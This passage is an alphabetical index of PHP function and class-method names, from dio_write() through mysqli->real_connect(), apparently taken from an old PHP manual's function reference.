dio_write()
dir()
DirectoryIterator::__construct()
DirectoryIterator::current()
DirectoryIterator::getATime()
DirectoryIterator::getChildren()
DirectoryIterator::getCTime()
DirectoryIterator::getFilename()
DirectoryIterator::getGroup()
DirectoryIterator::getInode()
DirectoryIterator::getMTime()
DirectoryIterator::getOwner()
DirectoryIterator::getPath()
DirectoryIterator::getPathname()
DirectoryIterator::getPerms()
DirectoryIterator::getSize()
DirectoryIterator::getType()
DirectoryIterator::isDir()
DirectoryIterator::isDot()
DirectoryIterator::isExecutable()
DirectoryIterator::isFile()
DirectoryIterator::isLink()
DirectoryIterator::isReadable()
DirectoryIterator::isWritable()
DirectoryIterator::key()
DirectoryIterator::next()
DirectoryIterator::rewind()
DirectoryIterator::valid()
dirname()
disk_free_space()
disk_total_space()
diskfreespace()
dl()
dngettext()
dns_check_record()
dns_get_mx()
dns_get_record()
dom_import_simplexml()
DOMAttr->isId()
DomAttribute->name()
DomAttribute->specified()
DomAttribute->value()
DOMCharacterData->appendData()
DOMCharacterData->deleteData()
DOMCharacterData->insertData()
DOMCharacterData->replaceData()
DOMCharacterData->substringData()
DOMDocument->__construct()
DomDocument->add_root()
DomDocument->create_attribute()
DomDocument->create_cdata_section()
DomDocument->create_comment()
DomDocument->create_element()
DomDocument->create_element_ns()
DomDocument->create_entity_reference()
DomDocument->create_processing_instruction()
DomDocument->create_text_node()
DOMDocument->createAttribute()
DOMDocument->createAttributeNS()
DOMDocument->createCDATASection()
DOMDocument->createComment()
DOMDocument->createDocumentFragment()
DOMDocument->createElement()
DOMDocument->createElementNS()
DOMDocument->createEntityReference()
DOMDocument->createProcessingInstruction()
DOMDocument->createTextNode()
DomDocument->doctype()
DomDocument->document_element()
DomDocument->dump_file()
DomDocument->dump_mem()
DomDocument->get_element_by_id()
DomDocument->get_elements_by_tagname()
DOMDocument->getElementById()
DOMDocument->getElementsByTagName()
DOMDocument->getElementsByTagNameNS()()
DomDocument->html_dump_mem()
DOMDocument->importNode()
DOMDocument->load()
DOMDocument->loadHTML()
DOMDocument->loadHTMLFile()
DOMDocument->loadXML()
DOMDocument->normalize()
DOMDocument->relaxNGValidate()
DOMDocument->relaxNGValidateSource()
DOMDocument->save()
DOMDocument->saveHTML()()
DOMDocument->saveHTMLFile()()
DOMDocument->saveXML()()
DOMDocument->schemaValidate()
DOMDocument->schemaValidateSource()
DOMDocument->validate()
DOMDocument->xinclude()
DomDocument->xinclude()
DomDocumentType->entities()
DomDocumentType->internal_subset()
DomDocumentType->name()
DomDocumentType->notations()
DomDocumentType->public_id()
DomDocumentType->system_id()
DomElement->get_attribute()
DomElement->get_attribute_node()
DomElement->get_elements_by_tagname()
DOMElement->getAttribute()
DOMElement->getAttributeNode()
DOMElement->getAttributeNodeNS()
DOMElement->getAttributeNS()
DOMElement->getElementsByTagName()
DOMElement->getElementsByTagNameNS()
DomElement->has_attribute()
DOMElement->hasAttribute()
DOMElement->hasAttributeNS()
DomElement->remove_attribute()
DOMElement->removeAttribute()
DOMElement->removeAttributeNode()
DOMElement->removeAttributeNS()
DomElement->set_attribute()
DOMElement->setAttribute()
DOMElement->setAttributeNode()
DOMElement->setAttributeNodeNS()
DOMElement->setAttributeNS()
DomElement->tagname()
DOMImplementation->createDocument()
DOMImplementation->createDocumentType()
DOMImplementation->hasFeature()()
DOMNamedNodeMap->getNamedItem()
DOMNamedNodeMap->getNamedItemNS()
DOMNamedNodeMap->item()
DomNode->add_namespace()
DomNode->append_child()
DomNode->append_sibling()
DOMNode->appendChild()
DomNode->attributes()
DomNode->child_nodes()
DomNode->clone_node()
DOMNode->cloneNode()
DomNode->dump_node()
DomNode->first_child()
DomNode->get_content()
DomNode->has_attributes()
DomNode->has_child_nodes()
DOMNode->hasAttributes()
DOMNode->hasChildNodes()
DomNode->insert_before()
DOMNode->insertBefore()
DomNode->is_blank_node()
DOMNode->isSameNode()
DOMNode->isSupported()
DomNode->last_child()
DOMNode->lookupNamespaceURI()
DOMNode->lookupPrefix()
DomNode->next_sibling()
DomNode->node_name()
DomNode->node_type()
DomNode->node_value()
DOMNode->normalize()
DomNode->owner_document()
DomNode->parent_node()
DomNode->prefix()
DomNode->previous_sibling()
DomNode->remove_child()
DOMNode->removeChild()
DomNode->replace_child()
DomNode->replace_node()
DOMNode->replaceChild()
DomNode->set_content()
DomNode->set_name()
DomNode->set_namespace()
DomNode->unlink_node()
DOMNodelist->item()
DomProcessingInstruction->data()
DomProcessingInstruction->target()
DOMStringList->item()
DOMText->isWhitespaceInElementContent()
DOMText->splitText()
domxml_new_doc()
domxml_open_file()
domxml_open_mem()
domxml_version()
domxml_xmltree()
domxml_xslt_stylesheet()
domxml_xslt_stylesheet_doc()
domxml_xslt_stylesheet_file()
DOMXPath->__construct()
DOMXPath->evaluate()()
DOMXPath->query()
DOMXPath->registerNamespace()
DomXsltStylesheet->process()
DomXsltStylesheet->result_dump_file()
DomXsltStylesheet->result_dump_mem()
dotnet()
dotnet_load()
doubleval()

E

each()
easter_date()
easter_days()
ebcdic2ascii()
echo()
empty()
end()
ereg()
ereg_replace()
eregi()
eregi_replace()
error_log()
error_reporting()
escapeshellarg()
escapeshellcmd()
eval()
exec()
exif_imagetype()
exif_read_data()
exif_tagname()
exif_thumbnail()
exit()
exp()
explode()
expm1()
extension_loaded()
extract()
ezmlm_hash()

F

fam_cancel_monitor()
fam_close()
fam_monitor_collection()
fam_monitor_directory()
fam_monitor_file()
fam_next_event()
fam_open()
fam_pending()
fam_resume_monitor()
fam_suspend_monitor()
fbsql_affected_rows()
fbsql_autocommit()
fbsql_blob_size()
fbsql_change_user()
fbsql_clob_size()
fbsql_close()
fbsql_commit()
fbsql_connect()
fbsql_create_blob()
fbsql_create_clob()
fbsql_create_db()
fbsql_data_seek()
fbsql_database()
fbsql_database_password()
fbsql_db_query()
fbsql_db_status()
fbsql_drop_db()
fbsql_errno()
fbsql_error()
fbsql_fetch_array()
fbsql_fetch_assoc()
fbsql_fetch_field()
fbsql_fetch_lengths()
fbsql_fetch_object()
fbsql_fetch_row()
fbsql_field_flags()
fbsql_field_len()
fbsql_field_name()
fbsql_field_seek()
fbsql_field_table()
fbsql_field_type()
fbsql_free_result()
fbsql_get_autostart_info()
fbsql_hostname()
fbsql_insert_id()
fbsql_list_dbs()
fbsql_list_fields()
fbsql_list_tables()
fbsql_next_result()
fbsql_num_fields()
fbsql_num_rows()
fbsql_password()
fbsql_pconnect()
fbsql_query()
fbsql_read_blob()
fbsql_read_clob()
fbsql_result()
fbsql_rollback()
fbsql_select_db()
fbsql_set_lob_mode()
fbsql_set_password()
fbsql_set_transaction()
fbsql_start_db()
fbsql_stop_db()
fbsql_tablename()
fbsql_username()
fbsql_warnings()
fclose()
fdf_add_doc_javascript()
fdf_add_template()
fdf_close()
fdf_create()
fdf_enum_values()
fdf_errno()
fdf_error()
fdf_get_ap()
fdf_get_attachment()
fdf_get_encoding()
fdf_get_file()
fdf_get_flags()
fdf_get_opt()
fdf_get_status()
fdf_get_value()
fdf_get_version()
fdf_header()
fdf_next_field_name()
fdf_open()
fdf_open_string()
fdf_remove_item()
fdf_save()
fdf_save_string()
fdf_set_ap()
fdf_set_encoding()
fdf_set_file()
fdf_set_flags()
fdf_set_javascript_action()
fdf_set_on_import_javascript()
fdf_set_opt()
fdf_set_status()
fdf_set_submit_form_action()
fdf_set_target_frame()
fdf_set_value()
fdf_set_version()
feof()
fflush()
fgetc()
fgetcsv()
fgets()
fgetss()
file()
file_exists()
file_get_contents()
file_put_contents()
fileatime()
filectime()
filegroup()
fileinode()
filemtime()
fileowner()
fileperms()
filepro()
filepro_fieldcount()
filepro_fieldname()
filepro_fieldtype()
filepro_fieldwidth()
filepro_retrieve()
filepro_rowcount()
filesize()
filetype()
FilterIterator::current()
FilterIterator::getInnerIterator()
FilterIterator::key()
FilterIterator::next()
FilterIterator::rewind()
FilterIterator::valid()
floatval()
flock()
floor()
flush()
fmod()
fnmatch()
fopen()
fpassthru()
fprintf()
fputcsv()
fputs()
fread()
frenchtojd()
fribidi_log2vis()
fscanf()
fseek()
fsockopen()
fstat()
ftell()
ftok()
ftp_alloc()
ftp_cdup()
ftp_chdir()
ftp_chmod()
ftp_close()
ftp_connect()
ftp_delete()
ftp_exec()
ftp_fget()
ftp_fput()
ftp_get()
ftp_get_option()
ftp_login()
ftp_mdtm()
ftp_mkdir()
ftp_nb_continue()
ftp_nb_fget()
ftp_nb_fput()
ftp_nb_get()
ftp_nb_put()
ftp_nlist()
ftp_pasv()
ftp_put()
ftp_pwd()
ftp_quit()
ftp_raw()
ftp_rawlist()
ftp_rename()
ftp_rmdir()
ftp_set_option()
ftp_site()
ftp_size()
ftp_ssl_connect()
ftp_systype()
ftruncate()
func_get_arg()
func_get_args()
func_num_args()
function_exists()
fwrite()

G

gd_info()
get_browser()
get_cfg_var()
get_class()
get_class_methods()
get_class_vars()
get_current_user()
get_declared_classes()
get_declared_interfaces()
get_defined_constants()
get_defined_functions()
get_defined_vars()
get_extension_funcs()
get_headers()
get_html_translation_table()
get_include_path()
get_included_files()
get_loaded_extensions()
get_magic_quotes_gpc()
get_magic_quotes_runtime()
get_meta_tags()
get_object_vars()
get_parent_class()
get_required_files()
get_resource_type()
getallheaders()
getcwd()
getdate()
getenv()
gethostbyaddr()
gethostbyname()
gethostbynamel()
getimagesize()
getlastmod()
getmxrr()
getmygid()
getmyinode()
getmypid()
getmyuid()
getopt()
getprotobyname()
getprotobynumber()
getrandmax()
getrusage()
getservbyname()
getservbyport()
gettext()
gettimeofday()
gettype()
glob()
gmdate()
gmmktime()
gmp_abs()
gmp_add()
gmp_and()
gmp_clrbit()
gmp_cmp()
gmp_com()
gmp_div()
gmp_div_q()
gmp_div_qr()
gmp_div_r()
gmp_divexact()
gmp_fact()
gmp_gcd()
gmp_gcdext()
gmp_hamdist()
gmp_init()
gmp_intval()
gmp_invert()
gmp_jacobi()
gmp_legendre()
gmp_mod()
gmp_mul()
gmp_neg()
gmp_or()
gmp_perfect_square()
gmp_popcount()
gmp_pow()
gmp_powm()
gmp_prob_prime()
gmp_random()
gmp_scan0()
gmp_scan1()
gmp_setbit()
gmp_sign()
gmp_sqrt()
gmp_sqrtrem()
gmp_strval()
gmp_sub()
gmp_xor()
gmstrftime()
gregoriantojd()
gzclose()
gzcompress()
gzdeflate()
gzencode()
gzeof()
gzfile()
gzgetc()
gzgets()
gzgetss()
gzinflate()
gzopen()
gzpassthru()
gzputs()
gzread()
gzrewind()
gzseek()
gztell()
gzuncompress()
gzwrite()

H

header()
headers_list()
headers_sent()
hebrev()
hebrevc()
hexdec()
highlight_file()
highlight_string()
html_entity_decode()
htmlentities()
htmlspecialchars()
http_build_query()
hw_api->checkin()
hw_api->checkout()
hw_api->children()
hw_api->content()
hw_api->copy()
hw_api->dbstat()
hw_api->dcstat()
hw_api->dstanchors()
hw_api->dstofsrcanchor()
hw_api->find()
hw_api->ftstat()
hw_api->hwstat()
hw_api->identify()
hw_api->info()
hw_api->insert()
hw_api->insertanchor()
hw_api->insertcollection()
hw_api->insertdocument()
hw_api->link()
hw_api->lock()
hw_api->move()
hw_api->object()
hw_api->objectbyanchor()
hw_api->parents()
hw_api->remove()
hw_api->replace()
hw_api->setcommittedversion()
hw_api->srcanchors()
hw_api->srcsofdst()
hw_api->unlock()
hw_api->user()
hw_api->userlist()
hw_api_attribute()
hw_api_attribute->key()
hw_api_attribute->langdepvalue()
hw_api_attribute->value()
hw_api_attribute->values()
hw_api_content()
hw_api_content->mimetype()
hw_api_content->read()
hw_api_error->count()
hw_api_error->reason()
hw_api_object()
hw_api_object->assign()
hw_api_object->attreditable()
hw_api_object->count()
hw_api_object->insert()
hw_api_object->remove()
hw_api_object->title()
hw_api_object->value()
hw_api_reason->description()
hw_api_reason->type()
hw_array2objrec()
hw_changeobject()
hw_children()
hw_childrenobj()
hw_close()
hw_connect()
hw_connection_info()
hw_cp()
hw_deleteobject()
hw_docbyanchor()
hw_docbyanchorobj()
hw_document_attributes()
hw_document_bodytag()
hw_document_content()
hw_document_setcontent()
hw_document_size()
hw_dummy()
hw_edittext()
hw_error()
hw_errormsg()
hw_free_document()
hw_getanchors()
hw_getanchorsobj()
hw_getandlock()
hw_getchildcoll()
hw_getchildcollobj()
hw_getchilddoccoll()
hw_getchilddoccollobj()
hw_getobject()
hw_getobjectbyquery()
hw_getobjectbyquerycoll()
hw_getobjectbyquerycollobj()
hw_getobjectbyqueryobj()
hw_getparents()
hw_getparentsobj()
hw_getrellink()
hw_getremote()
hw_getremotechildren()
hw_getsrcbydestobj()
hw_gettext()
hw_getusername()
hw_identify()
hw_incollections()
hw_info()
hw_inscoll()
hw_insdoc()
hw_insertanchors()
hw_insertdocument()
hw_insertobject()
hw_mapid()
hw_modifyobject()
hw_mv()
hw_new_document()
hw_objrec2array()
hw_output_document()
hw_pconnect()
hw_pipedocument()
hw_root()
hw_setlinkroot()
hw_stat()
hw_unlock()
hw_who()
hwapi_hgcsp()
hypot()

I

ibase_add_user()
ibase_affected_rows()
ibase_backup()
ibase_blob_add()
ibase_blob_cancel()
ibase_blob_close()
ibase_blob_create()
ibase_blob_echo()
ibase_blob_get()
ibase_blob_import()
ibase_blob_info()
ibase_blob_open()
ibase_close()
ibase_commit()
ibase_commit_ret()
ibase_connect()
ibase_db_info()
ibase_delete_user()
ibase_drop_db()
ibase_errcode()
ibase_errmsg()
ibase_execute()
ibase_fetch_assoc()
ibase_fetch_object()
ibase_fetch_row()
ibase_field_info()
ibase_free_event_handler()
ibase_free_query()
ibase_free_result()
ibase_gen_id()
ibase_maintain_db()
ibase_modify_user()
ibase_name_result()
ibase_num_fields()
ibase_num_params()
ibase_param_info()
ibase_pconnect()
ibase_prepare()
ibase_query()
ibase_restore()
ibase_rollback()
ibase_rollback_ret()
ibase_server_info()
ibase_service_attach()
ibase_service_detach()
ibase_set_event_handler()
ibase_timefmt()
ibase_trans()
ibase_wait_event()
iconv()
iconv_get_encoding()
iconv_mime_decode()
iconv_mime_decode_headers()
iconv_mime_encode()
iconv_set_encoding()
iconv_strlen()
iconv_strpos()
iconv_strrpos()
iconv_substr()
id3_get_frame_long_name()
id3_get_frame_short_name()
id3_get_genre_id()
id3_get_genre_list()
id3_get_genre_name()
id3_get_tag()
id3_get_version()
id3_remove_tag()
id3_set_tag()
idate()
ifx_affected_rows()
ifx_blobinfile_mode()
ifx_byteasvarchar()
ifx_close()
ifx_connect()
ifx_copy_blob()
ifx_create_blob()
ifx_create_char()
ifx_do()
ifx_error()
ifx_errormsg()
ifx_fetch_row()
ifx_fieldproperties()
ifx_fieldtypes()
ifx_free_blob()
ifx_free_char()
ifx_free_result()
ifx_get_blob()
ifx_get_char()
ifx_getsqlca()
ifx_htmltbl_result()
ifx_nullformat()
ifx_num_fields()
ifx_num_rows()
ifx_pconnect()
ifx_prepare()
ifx_query()
ifx_textasvarchar()
ifx_update_blob()
ifx_update_char()
ifxus_close_slob()
ifxus_create_slob()
ifxus_free_slob()
ifxus_open_slob()
ifxus_read_slob()
ifxus_seek_slob()
ifxus_tell_slob()
ifxus_write_slob()
ignore_user_abort()
image2wbmp()
image_type_to_extension()
image_type_to_mime_type()
imagealphablending()
imageantialias()
imagearc()
imagechar()
imagecharup()
imagecolorallocate()
imagecolorallocatealpha()
imagecolorat()
imagecolorclosest()
imagecolorclosestalpha()
imagecolorclosesthwb()
imagecolordeallocate()
imagecolorexact()
imagecolorexactalpha()
imagecolormatch()
imagecolorresolve()
imagecolorresolvealpha()
imagecolorset()
imagecolorsforindex()
imagecolorstotal()
imagecolortransparent()
imagecopy()
imagecopymerge()
imagecopymergegray()
imagecopyresampled()
imagecopyresized()
imagecreate()
imagecreatefromgd()
imagecreatefromgd2()
imagecreatefromgd2part()
imagecreatefromgif()
imagecreatefromjpeg()
imagecreatefrompng()
imagecreatefromstring()
imagecreatefromwbmp()
imagecreatefromxbm()
imagecreatefromxpm()
imagecreatetruecolor()
imagedashedline()
imagedestroy()
imageellipse()
imagefill()
imagefilledarc()
imagefilledellipse()
imagefilledpolygon()
imagefilledrectangle()
imagefilltoborder()
imagefilter()
imagefontheight()
imagefontwidth()
imageftbbox()
imagefttext()
imagegammacorrect()
imagegd()
imagegd2()
imagegif()
imageinterlace()
imageistruecolor()
imagejpeg()
imagelayereffect()
imageline()
imageloadfont()
imagepalettecopy()
imagepng()
imagepolygon()
imagepsbbox()
imagepscopyfont()
imagepsencodefont()
imagepsextendfont()
imagepsfreefont()
imagepsloadfont()
imagepsslantfont()
imagepstext()
imagerectangle()
imagerotate()
imagesavealpha()
imagesetbrush()
imagesetpixel()
imagesetstyle()
imagesetthickness()
imagesettile()
imagestring()
imagestringup()
imagesx()
imagesy()
imagetruecolortopalette()
imagettfbbox()
imagettftext()
imagetypes()
imagewbmp()
imagexbm()
imap_8bit()
imap_alerts()
imap_append()
imap_base64()
imap_binary()
imap_body()
imap_bodystruct()
imap_check()
imap_clearflag_full()
imap_close()
imap_createmailbox()
imap_delete()
imap_deletemailbox()
imap_errors()
imap_expunge()
imap_fetch_overview()
imap_fetchbody()
imap_fetchheader()
imap_fetchstructure()
imap_get_quota()
imap_get_quotaroot()
imap_getacl()
imap_getmailboxes()
imap_getsubscribed()
imap_header()
imap_headerinfo()
imap_headers()
imap_last_error()
imap_list()
imap_listmailbox()
imap_listscan()
imap_listsubscribed()
imap_lsub()
imap_mail()
imap_mail_compose()
imap_mail_copy()
imap_mail_move()
imap_mailboxmsginfo()
imap_mime_header_decode()
imap_msgno()
imap_num_msg()
imap_num_recent()
imap_open()
imap_ping()
imap_qprint()
imap_renamemailbox()
imap_reopen()
imap_rfc822_parse_adrlist()
imap_rfc822_parse_headers()
imap_rfc822_write_address()
imap_scanmailbox()
imap_search()
imap_set_quota()
imap_setacl()
imap_setflag_full()
imap_sort()
imap_status()
imap_subscribe()
imap_thread()
imap_timeout()
imap_uid()
imap_undelete()
imap_unsubscribe()
imap_utf7_decode()
imap_utf7_encode()
imap_utf8()
implode()
import_request_variables()
in_array()
inet_ntop()
inet_pton()
ingres_autocommit()
ingres_close()
ingres_commit()
ingres_connect()
ingres_fetch_array()
ingres_fetch_object()
ingres_fetch_row()
ingres_field_length()
ingres_field_name()
ingres_field_nullable()
ingres_field_precision()
ingres_field_scale()
ingres_field_type()
ingres_num_fields()
ingres_num_rows()
ingres_pconnect()
ingres_query()
ingres_rollback()
ini_alter()
ini_get()
ini_get_all()
ini_restore()
ini_set()
interface_exists()
intval()
ip2long()
iptcembed()
iptcparse()
ircg_channel_mode()
ircg_disconnect()
ircg_eval_ecmascript_params()
ircg_fetch_error_msg()
ircg_get_username()
ircg_html_encode()
ircg_ignore_add()
ircg_ignore_del()
ircg_invite()
ircg_is_conn_alive()
ircg_join()
ircg_kick()
ircg_list()
ircg_lookup_format_messages()
ircg_lusers()
ircg_msg()
ircg_names()
ircg_nick()
ircg_nickname_escape()
ircg_nickname_unescape()
ircg_notice()
ircg_oper()
ircg_part()
ircg_pconnect()
ircg_register_format_messages()
ircg_set_current()
ircg_set_file()
ircg_set_on_die()
ircg_topic()
ircg_who()
ircg_whois()
is_a()
is_array()
is_bool()
is_callable()
is_dir()
is_double()
is_executable()
is_file()
is_finite()
is_float()
is_infinite()
is_int()
is_integer()
is_link()
is_long()
is_nan()
is_null()
is_numeric()
is_object()
is_readable()
is_real()
is_resource()
is_scalar()
is_soap_fault()
is_string()
is_subclass_of()
is_uploaded_file()
is_writable()
is_writeable()
isset()
iterator-to-array()
iterator_count()

J

java_last_exception_clear()
java_last_exception_get()
jddayofweek()
jdmonthname()
jdtofrench()
jdtogregorian()
jdtojewish()
jdtojulian()
jdtounix()
jewishtojd()
join()
jpeg2wbmp()
juliantojd()

K

key()
krsort()
ksort()

L

lcg_value()
ldap_8859_to_t61()
ldap_add()
ldap_bind()
ldap_close()
ldap_compare()
ldap_connect()
ldap_count_entries()
ldap_delete()
ldap_dn2ufn()
ldap_err2str()
ldap_errno()
ldap_error()
ldap_explode_dn()
ldap_first_attribute()
ldap_first_entry()
ldap_first_reference()
ldap_free_result()
ldap_get_attributes()
ldap_get_dn()
ldap_get_entries()
ldap_get_option()
ldap_get_values()
ldap_get_values_len()
ldap_list()
ldap_mod_add()
ldap_mod_del()
ldap_mod_replace()
ldap_modify()
ldap_next_attribute()
ldap_next_entry()
ldap_next_reference()
ldap_parse_reference()
ldap_parse_result()
ldap_read()
ldap_rename()
ldap_sasl_bind()
ldap_search()
ldap_set_option()
ldap_set_rebind_proc()
ldap_sort()
ldap_start_tls()
ldap_t61_to_8859()
ldap_unbind()
levenshtein()
LimitIterator::getPosition()
LimitIterator::next()
LimitIterator::rewind()
LimitIterator::seek()
LimitIterator::valid()
link()
linkinfo()
list()
lob->append()
lob->close()
lob->eof()
lob->erase()
lob->export()
lob->flush()
lob->getBuffering()
lob->import()
lob->load()
lob->read()
lob->rewind()
lob->save()
lob->seek()
lob->setBuffering()
lob->size()
lob->tell()
lob->truncate()
lob->write()
lob->writeTemporary()
localeconv()
localtime()
log()
log10()
log1p()
long2ip()
lstat()
ltrim()
lzf_compress()
lzf_decompress()
lzf_optimized_for()

M

mail()
mailparse_determine_best_xfer_encoding()
mailparse_msg_create()
mailparse_msg_extract_part()
mailparse_msg_extract_part_file()
mailparse_msg_free()
mailparse_msg_get_part()
mailparse_msg_get_part_data()
mailparse_msg_get_structure()
mailparse_msg_parse()
mailparse_msg_parse_file()
mailparse_rfc822_parse_addresses()
mailparse_stream_encode()
mailparse_uudecode_all()
main()
max()
mb_convert_case()
mb_convert_encoding()
mb_convert_kana()
mb_convert_variables()
mb_decode_mimeheader()
mb_decode_numericentity()
mb_detect_encoding()
mb_detect_order()
mb_encode_mimeheader()
mb_encode_numericentity()
mb_ereg()
mb_ereg_match()
mb_ereg_replace()
mb_ereg_search()
mb_ereg_search_getpos()
mb_ereg_search_getregs()
mb_ereg_search_init()
mb_ereg_search_pos()
mb_ereg_search_regs()
mb_ereg_search_setpos()
mb_eregi()
mb_eregi_replace()
mb_get_info()
mb_http_input()
mb_http_output()
mb_internal_encoding()
mb_language()
mb_list_encodings()
mb_output_handler()
mb_parse_str()
mb_preferred_mime_name()
mb_regex_encoding()
mb_regex_set_options()
mb_send_mail()
mb_split()
mb_strcut()
mb_strimwidth()
mb_strlen()
mb_strpos()
mb_strrpos()
mb_strtolower()
mb_strtoupper()
mb_strwidth()
mb_substitute_character()
mb_substr()
mb_substr_count()
mcal_append_event()
mcal_close()
mcal_create_calendar()
mcal_date_compare()
mcal_date_valid()
mcal_day_of_week()
mcal_day_of_year()
mcal_days_in_month()
mcal_delete_calendar()
mcal_delete_event()
mcal_event_add_attribute()
mcal_event_init()
mcal_event_set_alarm()
mcal_event_set_category()
mcal_event_set_class()
mcal_event_set_description()
mcal_event_set_end()
mcal_event_set_recur_daily()
mcal_event_set_recur_monthly_mday()
mcal_event_set_recur_monthly_wday()
mcal_event_set_recur_none()
mcal_event_set_recur_weekly()
mcal_event_set_recur_yearly()
mcal_event_set_start()
mcal_event_set_title()
mcal_expunge()
mcal_fetch_current_stream_event()
mcal_fetch_event()
mcal_is_leap_year()
mcal_list_alarms()
mcal_list_events()
mcal_next_recurrence()
mcal_open()
mcal_popen()
mcal_rename_calendar()
mcal_reopen()
mcal_snooze()
mcal_store_event()
mcal_time_valid()
mcal_week_of_year()
mcrypt_cbc()
mcrypt_cfb()
mcrypt_create_iv()
mcrypt_decrypt()
mcrypt_ecb()
mcrypt_enc_get_algorithms_name()
mcrypt_enc_get_block_size()
mcrypt_enc_get_iv_size()
mcrypt_enc_get_key_size()
mcrypt_enc_get_modes_name()
mcrypt_enc_get_supported_key_sizes()
mcrypt_enc_is_block_algorithm()
mcrypt_enc_is_block_algorithm_mode()
mcrypt_enc_is_block_mode()
mcrypt_enc_self_test()
mcrypt_encrypt()
mcrypt_generic()
mcrypt_generic_deinit()
mcrypt_generic_end()
mcrypt_generic_init()
mcrypt_get_block_size()
mcrypt_get_cipher_name()
mcrypt_get_iv_size()
mcrypt_get_key_size()
mcrypt_list_algorithms()
mcrypt_list_modes()
mcrypt_module_close()
mcrypt_module_get_algo_block_size()
mcrypt_module_get_algo_key_size()
mcrypt_module_get_supported_key_sizes()
mcrypt_module_is_block_algorithm()
mcrypt_module_is_block_algorithm_mode()
mcrypt_module_is_block_mode()
mcrypt_module_open()
mcrypt_module_self_test()
mcrypt_ofb()
mcve_adduser()
mcve_adduserarg()
mcve_bt()
mcve_checkstatus()
mcve_chkpwd()
mcve_chngpwd()
mcve_completeauthorizations()
mcve_connect()
mcve_connectionerror()
mcve_deleteresponse()
mcve_deletetrans()
mcve_deleteusersetup()
mcve_deluser()
mcve_destroyconn()
mcve_destroyengine()
mcve_disableuser()
mcve_edituser()
mcve_enableuser()
mcve_force()
mcve_getcell()
mcve_getcellbynum()
mcve_getcommadelimited()
mcve_getheader()
mcve_getuserarg()
mcve_getuserparam()
mcve_gft()
mcve_gl()
mcve_gut()
mcve_initconn()
mcve_initengine()
mcve_initusersetup()
mcve_iscommadelimited()
mcve_liststats()
mcve_listusers()
mcve_maxconntimeout()
mcve_monitor()
mcve_numcolumns()
mcve_numrows()
mcve_override()
mcve_parsecommadelimited()
mcve_ping()
mcve_preauth()
mcve_preauthcompletion()
mcve_qc()
mcve_responseparam()
mcve_return()
mcve_returncode()
mcve_returnstatus()
mcve_sale()
mcve_setblocking()
mcve_setdropfile()
mcve_setip()
mcve_setssl()
mcve_setssl_files()
mcve_settimeout()
mcve_settle()
mcve_text_avs()
mcve_text_code()
mcve_text_cv()
mcve_transactionauth()
mcve_transactionavs()
mcve_transactionbatch()
mcve_transactioncv()
mcve_transactionid()
mcve_transactionitem()
mcve_transactionssent()
mcve_transactiontext()
mcve_transinqueue()
mcve_transnew()
mcve_transparam()
mcve_transsend()
mcve_ub()
mcve_uwait()
mcve_verifyconnection()
mcve_verifysslcert()
mcve_void()
md5()
md5_file()
mdecrypt_generic()
Memcache::add()
Memcache::close()
Memcache::connect()
Memcache::decrement()
Memcache::delete()
Memcache::flush()
Memcache::get()
Memcache::getStats()
Memcache::getVersion()
Memcache::increment()
Memcache::pconnect()
Memcache::replace()
Memcache::set()
memcache_debug()
memory_get_usage()
metaphone()
method_exists()
mhash()
mhash_count()
mhash_get_block_size()
mhash_get_hash_name()
mhash_keygen_s2k()
microtime()
mime_content_type()
min()
ming_setcubicthreshold()
ming_setscale()
ming_useswfversion()
mkdir()
mktime()
money_format()
move_uploaded_file()
msession_connect()
msession_count()
msession_create()
msession_destroy()
msession_disconnect()
msession_find()
msession_get()
msession_get_array()
msession_get_data()
msession_inc()
msession_list()
msession_listvar()
msession_lock()
msession_plugin()
msession_randstr()
msession_set()
msession_set_array()
msession_set_data()
msession_timeout()
msession_uniq()
msession_unlock()
msg_get_queue()
msg_receive()
msg_remove_queue()
msg_send()
msg_set_queue()
msg_stat_queue()
msql()
msql_affected_rows()
msql_close()
msql_connect()
msql_create_db()
msql_createdb()
msql_data_seek()
msql_db_query()
msql_dbname()
msql_drop_db()
msql_error()
msql_fetch_array()
msql_fetch_field()
msql_fetch_object()
msql_fetch_row()
msql_field_flags()
msql_field_len()
msql_field_name()
msql_field_seek()
msql_field_table()
msql_field_type()
msql_fieldflags()
msql_fieldlen()
msql_fieldname()
msql_fieldtable()
msql_fieldtype()
msql_free_result()
msql_list_dbs()
msql_list_fields()
msql_list_tables()
msql_num_fields()
msql_num_rows()
msql_numfields()
msql_numrows()
msql_pconnect()
msql_query()
msql_regcase()
msql_result()
msql_select_db()
msql_tablename()
mssql_bind()
mssql_close()
mssql_connect()
mssql_data_seek()
mssql_execute()
mssql_fetch_array()
mssql_fetch_assoc()
mssql_fetch_batch()
mssql_fetch_field()
mssql_fetch_object()
mssql_fetch_row()
mssql_field_length()
mssql_field_name()
mssql_field_seek()
mssql_field_type()
mssql_free_result()
mssql_free_statement()
mssql_get_last_message()
mssql_guid_string()
mssql_init()
mssql_min_error_severity()
mssql_min_message_severity()
mssql_next_result()
mssql_num_fields()
mssql_num_rows()
mssql_pconnect()
mssql_query()
mssql_result()
mssql_rows_affected()
mssql_select_db()
mt_getrandmax()
mt_rand()
mt_srand()
muscat_close()
muscat_get()
muscat_give()
muscat_setup()
muscat_setup_net()
mysql_affected_rows()
mysql_change_user()
mysql_client_encoding()
mysql_close()
mysql_connect()
mysql_create_db()
mysql_data_seek()
mysql_db_name()
mysql_db_query()
mysql_drop_db()
mysql_errno()
mysql_error()
mysql_escape_string()
mysql_fetch_array()
mysql_fetch_assoc()
mysql_fetch_field()
mysql_fetch_lengths()
mysql_fetch_object()
mysql_fetch_row()
mysql_field_flags()
mysql_field_len()
mysql_field_name()
mysql_field_seek()
mysql_field_table()
mysql_field_type()
mysql_free_result()
mysql_get_client_info()
mysql_get_host_info()
mysql_get_proto_info()
mysql_get_server_info()
mysql_info()
mysql_insert_id()
mysql_list_dbs()
mysql_list_fields()
mysql_list_processes()
mysql_list_tables()
mysql_num_fields()
mysql_num_rows()
mysql_pconnect()
mysql_ping()
mysql_query()
mysql_real_escape_string()
mysql_result()
mysql_select_db()
mysql_stat()
mysql_tablename()
mysql_thread_id()
mysql_unbuffered_query()
mysqli()()
mysqli->affected_rows()
mysqli->autocommit()
mysqli->change_user()
mysqli->character_set_name()
mysqli->close()
mysqli->commit()
mysqli->disable_reads_from_master()
mysqli->dump_debug_info()
mysqli->errno()
mysqli->fetch_assoc()
mysqli->field_count()
mysqli->get_host_info()
mysqli->info()
mysqli->insert_id()
mysqli->kill()
mysqli->more_results()
mysqli->multi_query()
mysqli->next_result()
mysqli->options()
mysqli->ping()
mysqli->prepare()
mysqli->protocol_version()
mysqli->query()
mysqli->real_connect()
